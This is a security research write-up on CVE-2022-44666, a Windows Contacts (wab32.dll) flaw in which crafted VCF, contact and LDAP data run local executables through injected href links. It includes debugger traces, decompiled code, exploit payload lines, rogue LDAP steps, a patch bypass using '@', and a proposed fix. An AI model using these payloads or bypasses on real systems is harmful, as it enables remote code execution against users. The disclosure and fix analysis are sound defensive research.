14	shlwapi.dll	PathFileExistsDefExtW + 0x3f	0x7ff8ef2021ef	C:\Windows\System32\shlwapi.dll
15	shlwapi.dll	PathFindOnPathExW + 0x2f7	0x7ff8ef201f77	C:\Windows\System32\shlwapi.dll
16	shell32.dll	PathResolve + 0x154	0x7ff8eebb0954	C:\Windows\System32\shell32.dll
17	shell32.dll	CShellExecute::QualifyFileIfNeeded + 0x105	0x7ff8eebb05c9	C:\Windows\System32\shell32.dll
18	shell32.dll	CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e	0x7ff8eeb1e422	C:\Windows\System32\shell32.dll
19	shell32.dll	CShellExecute::_DoExecute + 0x6d	0x7ff8eeb1e1cd	C:\Windows\System32\shell32.dll
20	shell32.dll	<lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d	0x7ff8eeb09fed	C:\Windows\System32\shell32.dll
21	SHCore.dll	_WrapperThreadProc + 0xe9	0x7ff8f098bf69	C:\Windows\System32\SHCore.dll
22	kernel32.dll	BaseThreadInitThunk + 0x14	0x7ff8f07e7034	C:\Windows\System32\kernel32.dll
23	ntdll.dll	RtlUserThreadStart + 0x21	0x7ff8f0aa2651	C:\Windows\System32\ntdll.dll

Setting a breakpoint in Shell32!ShellExecuteExW, we can have a clearer picture of the functions involved:

CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000   wab.exe 
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410      mov     qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
 # Child-SP          RetAddr           Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

And the involved pseudo-code is the next:

_int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4)
{

...

      default:
        if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
          SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
        break;
    }
  }
  return 1i64;
}


__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3)
{
  const unsigned __int16 *v3; // rbx
  HWND v4; // rdi
  unsigned int v5; // ebx
  BOOL v6; // ebx
  __int64 v7; // rdx
  OLECHAR *v8; // rax
  signed int v10; // eax
  DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h]
  SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h]
  OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]

  v3 = a3;
  v4 = a1;
  memset_0(Dst, 0, 0x1048ui64);
  pcchCanonicalized = 2084;
  v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0);
  if ( (v5 & 0x80000000) == 0 )
  {
    v6 = UrlIsW(Dst, URLIS_FILEURL);
  pExecInfo.hProcess = 0i64;
      pExecInfo.hwnd = 0i64;
      pExecInfo.lpVerb = 0i64;
      _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64);
      *(_OWORD *)&pExecInfo.hInstApp = 0i64;
      *(_OWORD *)&pExecInfo.lpClass = 0i64;
      *(_OWORD *)&pExecInfo.dwHotKey = 0i64;
      if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE
      {
        v10 = GetLastError();
        v5 = (unsigned __int16)v10 | 0x80070000;
        if ( v10 <= 0 )
          v5 = v10;
      }
  }
  ...
}

After this, it’s clear the issue actually involves SysLink controls in comctl32.dll library and how the href attribute is parsed by wab32.dll library.

It isn’t possible to use remote shared locations or webdavs to exploit this.

URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>

The file info is queried but is never executed.

It’s possible to use relative paths such as:

URL;WORK:"></a><a href="foo\foo.exe">CLICKMEEEEE...</a>

Example:

URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>

Just going further and while testing rundll32 as attack vector, just noticed it was not possible to use arguments with the payload executable selected. However using a lnk file which targets a chosen executable, it was possible to use cmdline arguments. It’s a bit tricky but it works.

URL;WORK:"></a><a href="hidden\run.lnk">CLICKMEEEEE...</a>

Target of run.lnk:

rundll32.exe hidden\payload.bin,Foo"

This looks more interesting because it’s not needed to drop an executable in the target system.

Impact

Remote Code Execution as the current user logged.

Proofs of Concept

It has to exist file association to use Windows Contacts to open .vcf files.

Update 2021/07/25: For Contact files (.contact) there is only one application to open them by default: Windows Contacts, even when MS Office is installed in the target system.

Using files located in ./report-pocs/:

  1. Double-click the file exploit.vcf (Update 2021/07/25: Or double-click the file exploit.contact).

  2. Do single click in one of “click-me” links.

  3. It launches notepad.exe using different ways to execution:

    • 3.1. Link 1: Run .lnk file that triggers rundll32 with a crafted library.

    • 3.2. Link 2: This triggers the execution of an executable located in folder “hidden” as a local path.

    • 3.3. Link 3: Directly.

There are a couple of videos attached in ./videos:

  • ./videos/full-payload.gif: This is a more complex example which downloads a zip file that allows to trigger all the payloads.

This is a summary of the proof of concept files located in ./report-pocs/:

And files located in ./src:

Further exploitation

For further exploitation and as the vulnerability doesn’t allow to load remote shared location files, uri protocol “search-ms” is an interesting vector. You’ll find proofs of concept which only trigger a local binary like calc or notepad and more complex proofs of concept that i’ve named as weaponized exploit, because of they don’t execute local files. These pocs & exploits are located in ./further-pocs/.

This is a summary of target applications:

In order to reproduce:

  1. Setup a remote shared location (SMB or WebDav). Copy content of ./further-pocs/to-copy-in-remote-shared-location/ into it.

  2. If wanted, hide the files running ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.

  3. Modify file exploit.html/poc.html located in ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ to point to your remote shared location.

  4. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.

  5. Run poc/exploit files depending on the case.

  6. For further info, watch the videos located in ./videos:

Additionally, these are all the files for further exploitation:

Contact Files

After receiving Update 2022/07/21 from MSRC’s, i decided to take a look into Contact file extension as it would confirm whether or not it’s the same case as that found by the original discoverer, and of course it is. My first proof of concept was just using a different file format, but the bug is the same. Just using wabmig.exe located in “C:\Program Files\Windows Mail” is possible to convert all the VCF files to Contact files.

And as mentioned in the intro updates, these files are opened by Windows Contacts (default program).

The steps to reproduce are the same than those used for VCF files. Same restrictions observed on VCF files are applied with Contact files, that is, it’s not possible to use remote shared locations for the attribute “href” but it’s still possible to use local paths or url protocol “search-ms”.

These are all the files added or modified to exploit Contact files:

URL protocol LDAP

As mentioned above, this further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. This challenge was finally achieved thanks to ldap uri scheme.

...
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LDAP]
@="URL:LDAP Protocol"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""

[HKEY_CLASSES_ROOT\LDAP\Clsid]
@="{228D9A81-C302-11cf-9AA4-00AA004A5691}"

[HKEY_CLASSES_ROOT\LDAP\shell]

[HKEY_CLASSES_ROOT\LDAP\shell\open]

[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,\
  00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,\
  4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,\
  00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...

That is:

"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

So just setting a rogue LDAP server up and serving the payload data, it’s possible to use this url protocol handler to launch Windows Contacts (wab.exe) with a malicious payload in the ldif attributes mail, url or wwwhomepage. Note that i was unable to do this working on the attribute “wwwhomepage” as indicated here, but it should theorically work.

The crafted ldif content is just something like this:

...
dn: dc=org
dc: org
objectClass: dcObject

dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization

dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people

dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="..\hidden\payload.lnk">Run-installer...</a>
url:"></a><a href="..\hidden\payload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="notepad">Run-installer...</a>
objectclass: top
objectclass: person
objectClass: inetOrgPerson
...

And the code for the rogue ldap server was taken borrowed from the quick start server of ldaptor project, located over here.

This is a summary of target applications:

  • Browsers: MS Edge, Google Chrome, Mozilla Firefox & Opera.

  • MS Word.

  • PDF Readers (mainly Adobe Acrobat Reader DC & Foxit PDF Reader).

The steps to reproduce are:

  1. Copy ./further-pocs into remote shared location (SMB or WebDav).

  2. If wanted, hide the files running ./further-pocs/MSWord/setup-hidden.bat.

  3. Install ldaptor by pip: pip install ldaptor. Note this has been tested on Python 2.7 x64.

  4. Start rogue ldap server located in ./further-pocs/ldap-rogue-server/ldap-server.py

  5. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/url-protocol-ldap/.

  6. Run exploit files depending on the case.

  7. For further info, watch the videos located in ./videos

These are the additional files to exploit url protocol ldap:

CVE-2022-44666: Patch analysis and incomplete fix

On Dec 13, 2022 the patch for this vulnerability was released by Microsoft as CVE-2022-44666.

The versions used for diffing the patch (located in C:\Program Files\Common Files\System\wab32.dll) have been:

  • MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)

  • MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)

Diffing the affected library (wab32.dll) with Diaphora by @matalaz, we’ll find out some new functions:

And these are the partial matches:

Taking a look into the new code in function “fnSummaryProc”:

__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{

...

    if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) )  // (1)
    {
      v38 = (unsigned __int16 *)2085;
      v39 = &CPercentEncodeRFC3986::`vftable';
      v40 = v23;
      v41 = v26;
      v28 = CPercentEncodeString::Encode(
              (CPercentEncodeString *)&v39,
              (unsigned __int16 *)&Dst,
              (unsigned __int64 *)&v38,
              v25);
      v29 = v7;
      if ( !v28 )
      {
        v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
        SafeExecute(v29, v24, v30);  // (2)
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38);
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44; // (3)
      }
    }
    v31 = GetParent(v29);
    ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
    return 1i64;
  }
  ...
}

After the fix, the new code calls to the function “SafeExecute” (2) or show a message box (4).

To reach the call of the function “SafeExecute” (2) is possible to follow the code flow in (1):

_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
  const WCHAR *v1; // rbx
  _BOOL8 result; // rax
  DWORD pcchOut; // [rsp+30h] [rbp-68h]
  char Dst; // [rsp+40h] [rbp-58h]

  v1 = pszIn;
  result = 0;
  if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
  {
    memset_0(&Dst, 0, 0x40ui64);
    pcchOut = 32;
    if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
      && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) )  // (6)
    {
      result = 1;
    }
  }
  return result;
}

This function first checks if the URL is valid in (5), then, it checks whether or not it starts with “http” or “https” in (6). This code path looks safe enough. Coming back to the function “fnSummaryProc”, there’s another code path that could help to bypass the fix in (3).

__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
  unsigned __int16 v2; // ax
  unsigned __int16 **v3; // r14
  unsigned __int16 *v4; // rdi
  unsigned __int16 *v5; // r15
  unsigned __int16 v6; // dx
  unsigned __int16 *v7; // r8
  unsigned __int16 *v8; // rcx
  WCHAR v9; // ax
  _WORD *v10; // rsi
  int v11; // ebp
  LPWSTR v12; // rax
  unsigned __int16 *v14; // rax

  v2 = *a1;
  v3 = a2;
  v4 = a1;
  v5 = a1;
  while ( v2 && v2 != 0x3C )
  {
    a1 = CharNextW(a1);
    v2 = *a1;
  }
  v6 = *a1;
  v7 = a1;
  if ( *a1 )
  {
    v8 = a1 + 1;
    v4 = v8;
  }
  else
  {
    v8 = v4;
  }
  v9 = *v8;
  v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
  v11 = v6 != 0;
  if ( *v8 & 0xFFBF )
  {
    while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
    {
      if ( v9 == 0x40 )  // (7)
      {
        v14 = CharNextW(v8);
        if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) )  // (8)
          return 0i64;
        if ( v3 )
        {
          if ( v10 )
          {
            *v10 = 0;
            TrimSpaces(v5);
          }
          *v3 = v4;
        }
        return 1i64;
      }
      v12 = CharNextW(v8);
      v8 = v12;
      v9 = *v12;
      if ( !v9 )
        return 0i64;
    }
  }
  return 0i64;
}

One thing caught my attention about this in (7), where the code is checking whether it exists a char “@”. Then, it calls to the function “IsDomainName” in order to check whether or not the string after the char “@” is a domain name:

__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
  int v3; // edi
  int v4; // ebx
  int v5; // er9
  __int64 v6; // rdx

  v3 = a3;
  v4 = a2;
  if ( !a1 )
    return 0i64;
LABEL_2:
  v5 = *a1;
  if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
    return 0i64;
  while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
  {
    if ( (unsigned __int16)v5 >= 0x80u )
      return 0i64;
    if ( (unsigned __int16)(v5 - 10) <= 0x36u )
    {
      v6 = 19140298416324617i64;
      if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
        return 0i64;
    }
    if ( (_WORD)v5 == 46 )
    {
      a1 = CharNextW(a1);
      if ( a1 )
        goto LABEL_2;
      return 0i64;
    }
    a1 = CharNextW(a1);
    v5 = *a1;
  }
  if ( v4 )
  {
    if ( (_WORD)v5 != 0x3E )
      return 0i64;
    if ( v3 )
      *a1 = 0;
  }
  return 1i64;
}

So the bypass for the fix is pretty simple. It’s just necessary to use a single char “@”. Symlink href attributes like these will successfully bypass the fix:

hidden\@payload.lnk
hidden\@payload.exe
hidden@payload.lnk
hidden@payload.exe

For further info, there’s a video for a standalone contact file.

Proof of concept located in ./bypass/report-pocs.

And another one for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/further-pocs.

One day later the patch release, this information was sent to MSRC. Unfortunately, the case has been recently closed with no further info about it.

Diagcab file as payload

After CVE-2022-30190 also known as Follina vulnerability and CVE-2022-34713 also known as DogWalk vulnerability, a publicly known but underrated technique was reborn again thanks to @buffaloverflow. My mate and friend Eduardo Braun Prado gave me the idea to use this technique over here.

There are some pre-requirements to do this:

  1. The target user has to belong to administrator group. If not, there’s a UAC prompt.

  2. The diagcab file has to be signed, so the codesigning certificate must have been installed in the target computer.

A real attack scenario would pass for stealing a code signing certificate which is in fact installed in the target system. But as this is just a proof of concept, a self-signed code signing certificate was generated and used to sign the diagcab file named as @payload.diagcab.

So in order to repro, it’s needed to install the certificate located in cert.cer under Trusted Root Certificate Authority like this:

To finally elevate the priveleges, a token stealing/impersonation could be used. In this case, “parent process” technique was the chosen one. A modified version for this script was included inside the resolver scripts.

For further info, there’s a video for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/diagcab-pocs.

JAR files as payload

Update 2023/06/19: After reading @pfiatde‘s post on “ZipJar”, this interesting information makes JAR files a good candidate to be used as payload in this vulnerability, which by the way it is still 0day nowadays, as the MotW gets ignored, doesn’t require accepting any prompt.

JAR payload was taken from github repository calc_security_poc.

There you go attached a little builder, create-poc.py to make your own POC from some template.

Don’t forget give the thanks to @microlovu and @mlftsecresponse. 😂

Proposed fix

Remember the vulnerable code in the function “fnSummaryProc”:

...
LABEL_44:
        SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44;
      }
    }
...

The function “IsInternetAddress” was intentionally created to check if the href attr corresponds to any email address. So my proposed fix (and following the imported functions that the library uses) would be:

...
      if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
      {
          v30 = v23;
          goto LABEL_44;
      }
...

So simple like this, it’s only needed to check this out before calling to “SafeExecute”. Just testing if the target string (v23) starts with “mailto:”, the bug would be fully fixed IMHO.

Unofficial fix

Some days/weeks ago when i contacted @mkolsek of 0patch to inform him about this issue, who by the way is always very kind to me, told me this has been receiving an unofficial fix for Windows 7 since then (4 years ago). That was a surprise and good news!

It was tested and successfully stopped the new variant of CVE-2022-44666. The micropatch prepends “http://&#8221; to the attacker-controlled string passed by the href attr if doesn’t start with “mailto:”, “http://&#8221; or “https://&#8221;, which is enough to fully fix the issue. Now it’s going to be extended for the latest Windows versions, only necessary to update some offsets.

Either way, it would be better to get an official patch.

Acknowledgments

By @j00sean

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

×

Hello!

Click one of our contacts below to chat on WhatsApp

×